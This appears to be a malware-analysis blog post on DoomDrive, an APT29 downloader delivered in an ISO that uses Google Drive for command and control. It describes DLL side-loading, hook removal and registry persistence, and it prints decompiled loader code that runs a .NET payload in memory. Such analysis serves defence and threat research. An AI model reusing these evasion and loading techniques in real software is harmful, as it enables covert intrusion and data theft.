While analysing the downloader from APT29 that uses the Slack messaging service (SHA-256: 879a20cc630ff7473827e7781021dacc57bcec78c01a7765fc5ee028e4a03623), I’ve found another downloader that utilizes Google Drive. It is also delivered via an ISO file like the previous ones. I call this new .NET downloader DoomDrive in reference to the older BoomBox one. With this latest addition, there are 4 known early stage downloaders that abuse legitimate services:

First seen ITW Malware downloader Abused legitimate service Analysis
June 2022 DoomDrive Google Drive Russian APT29 Hackers Use Online Storage Services, DropBox and Google Drive
June 2022 ? Slack Il malware EnvyScout (APT29) è stato veicolato anche in Italia (brief analysis)
January 2022 BEATDROP Trello Trello From the Other Side: Tracking APT29 Phishing Campaigns
February 2021 BoomBox DropBox Breaking down NOBELIUM’s latest early-stage toolset

EDIT: While working on this blog post, Palo Alto Networks released their analysis of the DoomDrive campaign.

The ISOlation layer

On 5th of July, a file named Agenda.iso was uploaded from Malaysia to Virustotal. This ISO sample contains the following files:

Agenda.iso file contents

Usually, the only file that isn’t hidden in a default Windows environment is Information that is a LNK file. It contains the following target string:

%windir%/system32/cmd.exe /k start agenda.exe

When double-clicked it runs agenda.exe that is a legitimate file signed by Adobe. This file imports a couple of functions from vcruntime140.dll as can be seen by looking at the import table:

Import address table of agenda.exe

The DLL is usually located in the Windows system folder and gets also loaded from there. In this case, the file was placed in the same folder as the EXE to abuse the DLL search order (DLL side-loading). The file vcruntime140.dll is a slightly modified version of the original signed one. The size of the last section (.reloc) was increased with 0 bytes which overwrites the signature information present as overlay data. Additionally, the .reloc section characteristics were changed to make it also writable. The reason for these changes is to use the resulting space to expand the import table with an additional entry:

Import address table of modified vcruntime140.dll

As a result, when agenda.exe is executed, it loads vcruntime140.dll which in turn loads vctool140.dll. The same trick with an expanded import table was used in the ISO file that contains the Slack downloader. The file vctool140.dll is a loader for the encrypted DoomDrive payload named _.

The .NET EXEcution layer

As mentioned, vctool140.dll is a loader for the DoomDrive downloader that is a .NET assembly. It is partly similar to the loader of BEATDROP and the Slack downloader. In comparison to the loader of BEATDROP, it not only unhooks all hooked functions in ntdll.dll, but also those of wininet.dll. The loader of the Slack downloader is the most advanced one as it also uses code and string obfuscation among other things.

When executed, it first unhooks all functions in ntdll.dll and wininet.dll. For this, it maps a fresh version of each Windows DLL into memory and overwrites the .text sections of the already loaded modules with those of the mapped ones. An example code of this technique can be found here.

Next, it loads the MSZIP compressed DoomDrive file (_) to memory and unpacks it. The result is a 64-bit .NET EXE assembly that gets executed via COM interface API functions. The decompiled and cleaned up code is as follows:

...
Filename[v2 + 1] = '_';
v6 = v2 + 2i64;
if ( v6 >= 0x104 )
{
    _report_rangecheckfailure(v4, v2, v1, v3);
    __debugbreak();
}
Filename[v6] = 0;
hFile = CreateFileA(Filename, GENERIC_READ, 1u, 0i64, 3u, FILE_ATTRIBUTE_NORMAL, 0i64);
hFile_0 = hFile;
if ( hFile != INVALID_HANDLE_VALUE )
{
    FileSize = GetFileSize(hFile, 0i64);
    Buffer = j__malloc_base(FileSize);
    ReadFile(hFile_0, Buffer, FileSize, &NumberOfBytesRead, 0i64);
    CloseHandle(hFile_0);
    UncompressedBuffer = 0i64;
    LODWORD(hFile) = CreateDecompressor(COMPRESS_ALGORITHM_MSZIP, 0i64, &hDecompressor);
    if ( hFile )
    {
        UncompressedDataSize = 0i64;
        UncompressedBufferSize = 0i64;
        if ( Decompress(hDecompressor, Buffer, NumberOfBytesRead, 0i64, 0i64, &UncompressedBufferSize)
            || GetLastError() != ERROR_INSUFFICIENT_BUFFER
            || (UncompressedBuffer = j__malloc_base(UncompressedBufferSize),
                LODWORD(hFile) = Decompress(hDecompressor, Buffer, NumberOfBytesRead, UncompressedBuffer, UncompressedBufferSize, &UncompressedDataSize),
                hFile) )
        {
            CloseDecompressor(hDecompressor);
            pCLRMetaHost = 0i64;
            ppRuntime = 0i64;
            pCorRuntimeHost = 0i64;
            LODWORD(hFile) = CLRCreateInstance(&CLSID_CLRMetaHost, &ICLRMetaHost, &pCLRMetaHost);
            if ( hFile >= 0 )
            {
                wcscpy(pwzVersion, L"v4.0.30319");
                LODWORD(hFile) = pCLRMetaHost->lpVtbl->GetRuntime(pCLRMetaHost, pwzVersion, &riid, &ppRuntime);
                if ( hFile >= 0 )
                {
                    LODWORD(hFile) = ppRuntime->lpVtbl->GetInterface(ppRuntime, &CLSID_CorRuntimeHost, &IID_ICorRuntimeHost, &pCorRuntimeHost);
                    if ( hFile >= 0 )
                    {
                        pCorRuntimeHost->lpVtbl->Start(pCorRuntimeHost);
                        pAppDomain = 0i64;
                        LODWORD(hFile) = pCorRuntimeHost->lpVtbl->GetDefaultDomain(pCorRuntimeHost, &pAppDomain);
                        if ( hFile >= 0 )
                        {
                            pDefaultAppDomain = 0i64;
                            LODWORD(hFile) = (pAppDomain->lpVtbl->QueryInterface)(&AppDomain, &pDefaultAppDomain);
                            if ( hFile >= 0 )
                            {
                                rgsabound.cElements = UncompressedDataSize;
                                rgsabound.lLbound = 0;
                                safeArray = SafeArrayCreate(VT_UI1, 1u, &rgsabound);
                                SafeArrayLock(safeArray);
                                count = 0;
                                if ( UncompressedDataSize )
                                {
                                    index = 0i64;
                                    do
                                    {
                                        *(safeArray->pvData + index) = UncompressedBuffer[index];
                                        ++count;
                                        ++index;
                                    }
                                    while ( count < UncompressedDataSize );
                                }
                                SafeArrayUnlock(safeArray);
                                pDefaultAppDomain_0 = pDefaultAppDomain;
                                pManagedAssembly = 0i64;
                                hr = (pDefaultAppDomain->lpVtbl->Load_3)(safeArray, &pManagedAssembly);
                                if ( hr < 0 )
                                    Cleanup(hr, pDefaultAppDomain_0, &AppDomain);
                                pManagedAssembly_0 = pManagedAssembly;
                                if ( pManagedAssembly )
                                    (pManagedAssembly->lpVtbl->Release)();
                                DoomDriveMain = 0i64;
                                (pManagedAssembly_0->lpVtbl->EntryPoint)(&DoomDriveMain);
                                VariantInit(&pvarg);
                                DoomDriveMain_0 = DoomDriveMain;
                                VariantInit(&pRetVal);
                                obj = pvarg;
                                hr_0 = (DoomDriveMain_0->lpVtbl->Invoke_3)(&obj, 0i64, &pRetVal);
                                if ( hr_0 < 0 )
                                    Cleanup(hr_0, DoomDriveMain_0, &word_1800177E8);
                                pRetVal_0 = pRetVal;
                                VariantClear(&pRetVal_0);
                                VariantClear(&pvarg);
                                (ppRuntime->lpVtbl->Release)(ppRuntime);
                                (pCLRMetaHost->lpVtbl->Release)(pCLRMetaHost);
                                LODWORD(hFile) = (pCorRuntimeHost->lpVtbl->Release)(pCorRuntimeHost);
                            }
                        }
                    }
                }
            }
        }
    }
}
...

The code is very similar to this one which in turn is a modification of Microsoft’s old example code named CppHostCLR. It shows how to run a managed .NET assembly in an unmanaged application via the Component Object Model in C++.

With DoomDrive to the next layer

There is reason to believe that DoomDrive wasn’t only compressed for obfuscation purposes, but also because it’s bigger than 1 MB in size. This is because the C# Google Drive API (and Newtonsoft Json) libraries were statically linked into the file.

It contains the following Google Drive credentials which it uses throughout the code:

Google Drive credentials of DoomDrive as shown by dnSpy

When executed, it first copies all files except for the LNK one from the mounted ISO drive to the %APPDATA% folder. For persistency, it creates a registry Run entry in HKCU with agenda.exe as the target file. To create a unique victim ID that gets later used mutliple times, it retrieves the Windows logon name and calculates a SHA-256 hash string on it. At last, it prepends the hardcoded Id value 99 (see screenshot above) to build the final ID.

The first contact to the attacker’s Google drive is made by retrieving the list of text files available for the victim’s ID via the ListFiles API function:

ListFiles("trashed = false and name contains '" + <VictimID> + "' and mimeType = 'text/plain'")

If the response is empty, it gets system information from the victim and uploads it in encrypted form within a TXT file to the attacker’s drive. The following information is retrieved:

  • Windows logon name
  • User domain name
  • Local computer domain name
  • List of network interfaces
  • List of process names

It is encrypted with a hardcoded XOR key (see screenshot above, base64 encoded) and base64 encoded. The victim user ID is used for the text file name. When the upload was successful, the program continues, otherwise it repeats the last procedure. To hint when the file was uploaded, it creates (or updates) a comment for the file with the current date as content.

To get the next stage payload, it lists all available PDF files in the attacker’s drive as indicated by the MIME type:

ListFiles("trashed = false and name contains '" + <VictimID> + "' and mimeType = 'application/pdf'");

This file must have been created by the attacker and is only disguised as a PDF. It’s actually an AES encrypted (see screenshot above for IV/key, base64 encoded) shellcode payload. The payload is executed in the following way:

DoomDrive payload execution as shown by dnSpy

An example of the executioner C# code can be found here. At the time of the analysis, the attacker’s drive didn’t respond anymore, thus it remains unknown what the next stage was.

Conclusion

As we’ve seen in the past, the threat actor APT29 always uses several early-stage tools during a campaign. The latest .NET downloader abuses another legitimate service to get a payload on a victim’s system. In contrast to the other legitimate services, the developer didn’t seem to enjoy working with the Google API as can be seen in the PDB path of DoomDrive (^^):

C:\Users\user\source\repos\GoogleDriveSucks\src\GoogleDriveSucks\Drive.pdb

IOCs

ISO

347715f967da5debfb01d3ba2ede6922801c24988c8e6ea2541e370ded313c8b

DoomDrive

295452a87c0fbb48eb87be9de061ab4e938194a3fe909d4bcb9bd6ff40b8b2f0